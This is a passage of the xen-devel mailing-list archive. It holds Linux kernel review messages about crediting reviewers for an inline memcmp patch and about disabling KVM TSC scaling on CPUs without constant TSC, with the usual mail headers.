 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 22:47:07 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <bp@alien8.de>)
 id 6a457cb8-5cb7-0a2a0a5109dd-0a2a4503cece-8
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 22:47:07 +0200
Received: from [65.109.113.108] (helo=mail.alien8.de)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <bp@alien8.de>)
 id 6a457cca-ec1a-0a2a45030019-416d716cace4-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 22:47:07 +0200
Received: from localhost (localhost.localdomain [127.0.0.1])
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTP id 64F4D40E00C0; 
 Wed,  1 Jul 2026 20:47:06 +0000 (UTC)
Received: from mail.alien8.de ([127.0.0.1])
 by localhost (mail.alien8.de [127.0.0.1]) (amavisd-new, port 10026)
 with ESMTP id ADSUZm13yOCQ; Wed,  1 Jul 2026 20:46:56 +0000 (UTC)
Received: from stx.tnic (unknown [IPv6:2600:1700:38ca:c00::1a])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange ECDHE (P-256) server-signature ECDSA (P-256) server-digest
 SHA256) (No client certificate requested)
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id C4B3E40E00BA;
 Wed,  1 Jul 2026 20:46:43 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=alien8 header.d=alien8.de header.i="@alien8.de" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
X-Virus-Scanned: Debian amavisd-new at mail.alien8.de
Authentication-Results: mail.alien8.de (amavisd-new); dkim=pass (4096-bit key)
	header.d=alien8.de
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=alien8.de; s=alien8;
	t=1782938816; bh=9DZRvVZl98blze4dH738SldPTBajzvNlA9enkx5HNIY=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=C7MVCdKIQwJBnVfm7mPnS8PAwg8Y1NoZYuHElYGyAKM7fc+mxdWybKjpHwB8Mzpj7
	 KclOVs3gcHxvdMHsPAj8iH8SNPTWp7B0Vhab9XIHYE6emHehyMKHFp55OoI6O4whFN
	 dZuVNgXvXHKj44a71aB1w2P2jj5RnKtz8T7bn6+qI2mIxTwc7Z6xlCDax5fC8pvB+v
	 2AjPuYATyrrM16xtVMFNfMedmTu1U3JSRkUc08UTlOIzC85dGDcZvdWRpQhaQevBUp
	 Edy6Wpp7pSCohtn8TKAmSbm6+pLcyCp483eA4gItw992xn/7LkY/zhZ4qnCpaF2hfP
	 j4TmDGAeHfgAYuUhcpHQFh9MplY5RHZKFVbjriD26bmvJqrIk1w4xEQgpwhOEId496
	 uAhlywQXu0lqi90BD+wQsFC8Mt+RwsVUPLQf1OiDxNAzTHUse2qefnINugWPLcA5wG
	 mbUWK27MIqklxtgx/t/3EbeQgPVgOZHhye2doLhUjIGapdertqDCuHDj05D5NLhqHr
	 mIbu4r68mDwYkBwBfv49iqHCCHUdYXDMdGSJHeEQzK47bM5VghW1cGgdep/P2JmfnR
	 Rbd1lOVSWh7c904tEBDe0W4Mtv4jWb4uFGzXbkuasAvAAEs7tJluKPHfayUcPIgDEr
	 dZ2b9K7+94deC1hVIAG0ZPjk=
Date: Wed, 1 Jul 2026 13:46:40 -0700
From: Borislav Petkov <bp@alien8.de>
To: Mauricio Faria de Oliveira <mfo@igalia.com>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>, Juergen Gross <jgross@suse.com>,
	Alexey Dobriyan <adobriyan@gmail.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
	linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH RESEND v5 1/3] x86/asm, x86/boot: expose inline memcmp
Message-ID: <20260701204640.GDakV8sOK1cu-0P4Bc@fat_crate.local>
References: <20260630-pvh-kasan-inline-v5-0-52afc979be81@igalia.com>
 <20260630-pvh-kasan-inline-v5-1-52afc979be81@igalia.com>
 <20260701184014.GDakVfDhIgaIKurzTb@fat_crate.local>
 <fed9dc5860b96063c06592080f957589@igalia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <fed9dc5860b96063c06592080f957589@igalia.com>
X-purgate-ID: tlsNG-33051d/1782938827-05F325D1-A13D5476/0/0
X-purgate-type: clean
X-purgate-size: 806

On Wed, Jul 01, 2026 at 04:57:57PM -0300, Mauricio Faria de Oliveira wrote:
> I'm not sure, as Reported-by and Suggested-by mean something different.
> 
> Maybe a simpler statement would do? e.g., '(Thanks to David Laight for
> noticing the return value difference between inline and regular
> memcmp())'. That gives credit while avoiding confusion with tags.

The Link tag already points to the review thread where we document who
suggested what. We don't document who gave what review comments and
suggestions for the simple reason that that would be intractable and the other
simple reason is that they don't belong in the commit message.

Changelog comments belong *exactly* under the "---" line.

-- 
Regards/Gruss,
    Boris.

https://people.kernel.org/tglx/notes-about-netiquette


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 21:15:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 21:15:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350934.1608311 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf2H4-0006fa-0c; Wed, 01 Jul 2026 21:15:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350934.1608311; Wed, 01 Jul 2026 21:15:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf2H3-0006fT-UC; Wed, 01 Jul 2026 21:15:13 +0000
Received: by outflank-mailman (input) for mailman id 1350934;
 Wed, 01 Jul 2026 21:15:12 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <bp@alien8.de>) id 1wf2H2-0006dn-Ay
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:15:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf2H1-00Byh5-K2
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 23:15:11 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <bp@alien8.de>)
 id 6a4582f2-5cb7-0a2a0a5109dd-0a2a45039ff6-44
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:15:11 +0200
Received: from [65.109.113.108] (helo=mail.alien8.de)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <bp@alien8.de>)
 id 6a45835f-ec1a-0a2a45030019-416d716caef4-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:15:11 +0200
Received: from localhost (localhost.localdomain [127.0.0.1])
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTP id 70AA240E00C0; 
 Wed,  1 Jul 2026 21:15:10 +0000 (UTC)
Received: from mail.alien8.de ([127.0.0.1])
 by localhost (mail.alien8.de [127.0.0.1]) (amavisd-new, port 10026)
 with ESMTP id fbVmubCe1ObW; Wed,  1 Jul 2026 21:15:00 +0000 (UTC)
Received: from stx.tnic (unknown [IPv6:2600:1700:38ca:c00::1a])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange ECDHE (P-256) server-signature ECDSA (P-256) server-digest
 SHA256) (No client certificate requested)
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id C9DD140E0140;
 Wed,  1 Jul 2026 21:14:47 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=alien8 header.d=alien8.de header.i="@alien8.de" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
X-Virus-Scanned: Debian amavisd-new at mail.alien8.de
Authentication-Results: mail.alien8.de (amavisd-new); dkim=pass (4096-bit key)
	header.d=alien8.de
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=alien8.de; s=alien8;
	t=1782940500; bh=AP9t8vC+xALil2fXjdkfM+2rrb7oKrVXHkgSICn34hk=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=XrbfaOTBZHoHJ1+2gwxFQDPcXTG3kl01IxHgjkSSEEc/KUYMyUfqOwZImCZZNHdHx
	 zxtZQkFrPz6/wBLeglc8vC4JFYqhK5itMxOR2Hz07svKN5DUDzjpzTq6lSyu7PMpg6
	 J0xHizV2IK6aDQff9T25xdyZbqLrGz97nxH3DoAqYS8cu6KbayS6fd7uX34anV/JH6
	 kStB7xY/XN0omASukknYBmF8GhOt3yAxT9R7wP0khVC8sdJq/WanITt1kqKDNavwoS
	 po7RwS1s1alOm3PkUkd4bsLTwTcjgr+zw7dXNKAlndXa1NQ0ZgtBdT+3eY2pMc3poU
	 gXhF9G9u0Xinm42MK80mx8+uqnB0vOUh5+4Pd2wbCGxIrummuFeSHmoQEpDTKR92ua
	 /QQohisLTCCpL2MOyD8776HknTCWg3jcL916cb13G57enf67OFawWdt09jwZUGz8pF
	 1GMT+iSc7cHt2jl1SCf2jdbAnHZv4zRkKeLrHZgdhgTnThaYnkx1FJjUz/+TthAwNM
	 6Um+6HfAQ8mpeUGokLdYUkE0RjViVmZACbPAqrz868OJ65PMa4hyeZ9eTAbdaBjAta
	 N+zYclQVyoZY8A9d7Q/CALnydIrZsO4oSAOI5dd5eneHWahpPSDYGyEzchcx80Jf0p
	 G5ZX8pFv9FoaWJRurr18e5/o=
Date: Wed, 1 Jul 2026 14:14:44 -0700
From: Borislav Petkov <bp@alien8.de>
To: Mauricio Faria de Oliveira <mfo@igalia.com>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>, Juergen Gross <jgross@suse.com>,
	Alexey Dobriyan <adobriyan@gmail.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
	linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH RESEND v5 1/3] x86/asm, x86/boot: expose inline memcmp
Message-ID: <20260701211444.GEakWDRI0LY5o5GGM7@fat_crate.local>
References: <20260630-pvh-kasan-inline-v5-0-52afc979be81@igalia.com>
 <20260630-pvh-kasan-inline-v5-1-52afc979be81@igalia.com>
 <20260701184014.GDakVfDhIgaIKurzTb@fat_crate.local>
 <fed9dc5860b96063c06592080f957589@igalia.com>
 <ccdc4d450a8683991f53038cde393597@igalia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <ccdc4d450a8683991f53038cde393597@igalia.com>
X-purgate-ID: tlsNG-33051d/1782940511-B692D5D1-3E8840FF/0/0
X-purgate-type: clean
X-purgate-size: 263

On Wed, Jul 01, 2026 at 05:03:04PM -0300, Mauricio Faria de Oliveira wrote:
> That would discard the credit attribution when applied, AFAIK. So,

Read my reply again.

-- 
Regards/Gruss,
    Boris.

https://people.kernel.org/tglx/notes-about-netiquette


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 21:39:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 21:39:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350951.1608320 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf2e4-0004SW-Qp; Wed, 01 Jul 2026 21:39:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350951.1608320; Wed, 01 Jul 2026 21:39:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf2e4-0004SP-Ns; Wed, 01 Jul 2026 21:39:00 +0000
Received: by outflank-mailman (input) for mailman id 1350951;
 Wed, 01 Jul 2026 21:38:59 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <38IhFagYKCXEhTPcYRVddVaT.RdbmTc-STkTaaXhih.mTcegdYTRi.dgV@flex--seanjc.bounces.google.com>)
 id 1wf2e3-0004SJ-K9
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:38:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf2e3-005e8D-1E
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 23:38:59 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <38IhFagYKCXEhTPcYRVddVaT.RdbmTc-STkTaaXhih.mTcegdYTRi.dgV@flex--seanjc.bounces.google.com>)
 id 6a4588a6-5cb7-0a2a0a5109dd-0a2a4504a638-48
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:38:59 +0200
Received: from [209.85.215.201] (helo=mail-pg1-f201.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <38IhFagYKCXEhTPcYRVddVaT.RdbmTc-STkTaaXhih.mTcegdYTRi.dgV@flex--seanjc.bounces.google.com>)
 id 6a4588f1-a01d-0a2a45040019-d155d7c9c8c2-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:38:58 +0200
Received: by mail-pg1-f201.google.com with SMTP id
 41be03b00d2f7-c8952346bb9so839563a12.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 14:38:58 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782941937; x=1783546737; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:from:to:cc:subject:date:message-id:reply-to;
        bh=GRkq9jmjNuS5m4BJgbbAEXZCpunnA1N0v1XvrStDBgY=;
        b=sPbG4zjZ7nph/qSvllrKdz9+BE1npx1Z8wkgMQQkpJHImUF3kHIzZqygL1F75sXVDA
         fo8yegwkEByAAOSNMejvPmB+0hrgildk0lybSSXOAVjH/kwYkZNrkUs5qNOAHkn08OUI
         XYZtGplWzJW+5psweY8vxiC86VL48a0kyGMSJiLz8cg6JoPmxaCaSLowa5eBNi6WdiRc
         vA+S5smlzRQoiF5cnTSIkyISQRY6nFN2x8vEIRJmH+7z7VIiMNoYlFsF8ojmx+YYcsT0
         zvz4GDnGzAKgAaBg7RSBGvqTwzcERA8iR97zj+d3txQlqSG4uYxLGFWktKlX+geSaHHX
         xwCg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782941937; x=1783546737;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=GRkq9jmjNuS5m4BJgbbAEXZCpunnA1N0v1XvrStDBgY=;
        b=eFx0jwTna15ovg0gEL4h+cpjCPsWLeRo3GAoJ1jAawwgVe+jdLxZ+HlVgfIsOuGXci
         ZJj0MZZsJMTC5eb4Wvttiuod01piKQ4bD50zYsL+LuVKN+TG0kApqQnBr1Jb3wn+4uku
         4r7OgcLOMW3b07eNvIBujKRprygmlpsZ/9Yd6Kc3u0TnJE0wrEFAqESL4Is8snAcLUu5
         qYUDrlq/w8Mf4pI7WAABK6Hs9Tg1irXhHu6r7yKjNzmKizhx0DYORwCRJ9jWkqo4UJeC
         T+U48ZCgT6QTNCHNUHGzomFAbmPNOBGa9rtjgfYP/T28zG2wlGxhLRaL8lqHNN0wM9QL
         Ny3g==
X-Forwarded-Encrypted: i=1; AHgh+RqnUqf98PSXVqzwQXTO9eMSxnyZ7mtIPUiz1mkV/mmHAUur292KF6sB4QHWdt/gnNFZ1ek1v8xuppU=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwLirdRA16vLP/xDssI4VJotuU+M1d9ts+B1XuV5bSbc6COGPJW
	byfeS+d55xaUUnOS+yFGoms0NYSLH21VeYo1jDosH9sqojp2w5bAnqtk2MPlFGjy5ctZgck7p5A
	F6FjMrw==
X-Received: from plbka15.prod.google.com ([2002:a17:903:334f:b0:2bd:9574:2958])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:902:d2c2:b0:2c9:fa36:ab73
 with SMTP id d9443c01a7336-2ca7e6f0b6emr36500665ad.8.1782941936636; Wed, 01
 Jul 2026 14:38:56 -0700 (PDT)
Date: Wed, 1 Jul 2026 14:38:55 -0700
In-Reply-To: <20260608145455.89187-7-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260608145455.89187-1-dwmw2@infradead.org> <20260608145455.89187-7-dwmw2@infradead.org>
Message-ID: <akWI72WrPKy-PBqo@google.com>
Subject: Re: [PATCH v5 06/34] KVM: x86: Explicitly disable TSC scaling without CONSTANT_TSC
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="us-ascii"
X-purgate-ID: tlsNG-ebf023/1782941938-2C5A91CC-7830281A/0/0
X-purgate-type: clean
X-purgate-size: 2698

On Mon, Jun 08, 2026, David Woodhouse wrote:
> From: David Woodhouse <dwmw@amazon.co.uk>
> 
> KVM does make an attempt to cope with non-constant TSC, and has
> notifiers to handle host TSC frequency changes. However, it *only*
> adjusts the KVM clock, and doesn't adjust TSC frequency scaling when
> the host changes.
> 
> This is presumably because non-constant TSCs were fixed in hardware
> long before TSC scaling was implemented, so there should never be real
> CPUs which have TSC scaling but *not* CONSTANT_TSC.
> 
> Such a combination could potentially happen in some odd L1 nesting
> environment, but it isn't worth trying to support it. Just make the
> dependency explicit.
> 
> Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
> Reviewed-by: Paul Durrant <paul@xen.org>
> ---
>  arch/x86/kvm/svm/svm.c | 3 ++-
>  arch/x86/kvm/vmx/vmx.c | 2 +-
>  2 files changed, 3 insertions(+), 2 deletions(-)
> 
> diff --git a/arch/x86/kvm/svm/svm.c b/arch/x86/kvm/svm/svm.c
> index e7fdd7a9c280..7817752533fe 100644
> --- a/arch/x86/kvm/svm/svm.c
> +++ b/arch/x86/kvm/svm/svm.c
> @@ -5546,7 +5546,8 @@ static __init int svm_hardware_setup(void)
>  				     XFEATURE_MASK_BNDCSR);
>  
>  	if (tsc_scaling) {
> -		if (!boot_cpu_has(X86_FEATURE_TSCRATEMSR)) {
> +		if (!boot_cpu_has(X86_FEATURE_TSCRATEMSR) ||
> +		    !boot_cpu_has(X86_FEATURE_CONSTANT_TSC)) {
>  			tsc_scaling = false;
>  		} else {
>  			pr_info("TSC scaling supported\n");
> diff --git a/arch/x86/kvm/vmx/vmx.c b/arch/x86/kvm/vmx/vmx.c
> index a29896a9ef14..ed207cc7692d 100644
> --- a/arch/x86/kvm/vmx/vmx.c
> +++ b/arch/x86/kvm/vmx/vmx.c
> @@ -8672,7 +8672,7 @@ __init int vmx_hardware_setup(void)
>  	if (!enable_apicv || !cpu_has_vmx_ipiv())
>  		enable_ipiv = false;
>  
> -	if (cpu_has_vmx_tsc_scaling())
> +	if (cpu_has_vmx_tsc_scaling() && boot_cpu_has(X86_FEATURE_CONSTANT_TSC))

We should clear SECONDARY_EXEC_TSC_SCALING in setup_vmcs_config().  Failure to
clear the vmcs_config bit will advertise the feature to L2 and allow it to be
enabled in vmcs12, but KVM will ultimately not honor the scaling in vmcs02:

	if (kvm_caps.has_tsc_control)
		vmcs_write64(TSC_MULTIPLIER, vcpu->arch.tsc_scaling_ratio);

This series kinda sorta gets there with "KVM: x86: Remove pvclock_gtod_data and
private timekeeping code", but that change looks misplaced?  And I think clearing
the bit this late will lead to false failures in vmx_check_processor_compat() due
to the golden config clearing the bit, but the local config having it set.


>  		kvm_caps.has_tsc_control = true;
>  
>  	kvm_caps.max_tsc_scaling_ratio = KVM_VMX_TSC_MULTIPLIER_MAX;
> -- 
> 2.54.0
> 


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 21:47:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 21:47:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350962.1608330 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf2mZ-00033y-L1; Wed, 01 Jul 2026 21:47:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350962.1608330; Wed, 01 Jul 2026 21:47:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf2mZ-00033r-Hn; Wed, 01 Jul 2026 21:47:47 +0000
Received: by outflank-mailman (input) for mailman id 1350962;
 Wed, 01 Jul 2026 21:47:45 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3_opFagYKCYMzlhuqjnvvnsl.jvt4lu-kl2lsspz0z.4luwyvqlj0.vyn@flex--seanjc.bounces.google.com>)
 id 1wf2mX-000317-Mp
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:47:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf2mW-0045QV-RX
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 23:47:44 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3_opFagYKCYMzlhuqjnvvnsl.jvt4lu-kl2lsspz0z.4luwyvqlj0.vyn@flex--seanjc.bounces.google.com>)
 id 6a458a95-e002-0a2a0a5209dd-0a2a45049b16-42
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:47:44 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3_opFagYKCYMzlhuqjnvvnsl.jvt4lu-kl2lsspz0z.4luwyvqlj0.vyn@flex--seanjc.bounces.google.com>)
 id 6a458aff-a01d-0a2a45040019-d155d6cad861-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:47:44 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2c804e38c65so21351355ad.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 14:47:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782942463; x=1783547263; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:from:to:cc:subject:date:message-id:reply-to;
        bh=zcs7QN5Kd/BsLm+PUgFcojzf1bXkoGYIJwLkqkM7zHA=;
        b=rJXdqcxoOReWbjPjAvzoua4BR8NVKYONSvkt91FW4CQXEUdlRjl2ditOJ+2XQQHc3q
         cr8M1yBu5xnju9LfKRDYHTilGuHvHGgsRRf/yelZhI4212H9XRcCIRyh4IpduDzz0Ee0
         mcDGn7cLPkkoJfu5hDerAwB/UlK4kiQLxteZlg8/LnP7xZ9NIhTRDylwB/GfhPCa98Wz
         bG20gvB7Ou7X/6AryzK0FbuinuyF1fs76ATjeEo6rAprvXXMBOgQ5w5M8kzvULPcRx2u
         TM6z70QJXd+jxsXFiIIH6XJTICDNuXIf0Ah3WR49n+uCYv3yW6y9AI0IBbHiK2CLcq65
         RffQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782942463; x=1783547263;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=zcs7QN5Kd/BsLm+PUgFcojzf1bXkoGYIJwLkqkM7zHA=;
        b=kVLANmLrXMVZghCerqzPb/34B0w8wxL1HVT756/rcA/Vj5ERkoyKOxv8E0I8irs/bE
         T0ELxM5DMFuPfgmlBw+dJ8QyTjgeanL85a1We1qoEw6zUTO2U6Q2w+meO661bIMgd3cq
         E1pS2Pxu1JIOuril3ZIv+N3S9QIo3boQxkeB6+FSeE5DL4Q/2mLdBPfTtzo5RiVyRLzj
         XLwgVKeFesTe+GbdmIiaPzsVa9cTiDw+3L41hwAzk8vaBtYuLGaQPypduzr/kOQyprrN
         vzz0ay/Bq3JnpW3d5/CrvzXVimVJ+FSV1ZHZVWUYBLim5hj3RcJCchf3M6OUP30Hwzq8
         PxdA==
X-Forwarded-Encrypted: i=1; AHgh+RrWuMVYkt6u0MJ295PeIhA0RB3ol40raN2lfiHQvUroQTTuV/t9JHoIlxYIXzEzeKuw5iqIcPIGn9E=@lists.xenproject.org
